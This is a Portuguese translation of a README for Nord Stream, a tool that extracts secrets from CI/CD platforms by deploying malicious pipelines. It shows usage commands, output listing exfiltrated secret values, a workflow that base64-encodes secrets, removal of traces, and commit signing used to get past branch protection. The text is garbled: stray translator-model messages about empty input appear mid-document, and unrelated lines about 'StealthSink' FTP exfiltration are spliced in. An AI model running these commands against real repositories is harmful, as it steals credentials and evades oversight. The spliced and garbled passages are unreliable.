
Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab.
O Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes CI/CD ao implementar pipelines maliciosos.
Atualmente, suporta Azure DevOps, GitHub e GitLab.
Saiba mais na seguinte publicação do blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.
## Uso
Aqui está um exemplo simples no GitHub; inicialmente, é possível enumerar os vários segredos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Em seguida, prossiga para a exfiltração:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Argumentos compartilhados
Alguns argumentos são compartilhados entre [GitHub](#github), [Azure DevOps](#azure-devops) e [GitLab](#gitlab) aqui estão alguns exemplos.
#### Descrever token
A opção `--describe-token` pode ser usada para exibir informações gerais sobre o seu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
A opção --build-yaml pode ser usada para criar um arquivo de pipeline sem implantá-lo. Ela recupera os diversos nomes de segredos para construir o pipeline associado, que pode ser usado para adicionar etapas personalizadas:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
A opção `--yaml` pode ser usada para implantar um pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
The input content is empty — there is no chunk text to translate. Please provide the actual chunk content and I'll translate it into pt.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Por padrão, ele exibirá a saída da tarefa chamada `command` do job `init`, mas tudo é armazenado localmente e pode ser acessado manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
Por padrão, o Nord Stream tentará remover os vestígios deixados após uma implantação de pipeline, dependendo dos seus privilégios. Para preservar os vestígios, a opção --no-clean pode ser usada. Isso manterá os logs do pipeline, mas ainda assim reverterá as alterações feitas no repositório.
Observe que, para o GitLab, alguns vestígios não podem ser excluídos.
Os administradores de repositórios podem impor a assinatura obrigatória de commits em um branch para bloquear todos os commits que não estejam assinados e verificados. Com o Nord Stream, é possível assinar commits para contornar essa proteção.
Primeiro, crie e importe sua chave GPG na plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
O conteúdo do chunk não foi incluído na mensagem — o campo INPUT está vazio. Envie o trecho de Markdown correspondente ao chunk 19 para que eu possa traduzi-lo para português.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
O StealthSink integra-se com vários módulos-chave do NetExec para permitir a exfiltração de dados através de tráfego de rede com aparência legítima.
O módulo FTP no StealthSink permite a exfiltração de dados via comandos FTP padrão, mascarando a transferência de dados como uploads de arquivos normais.
Exemplo de configuração e uso:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps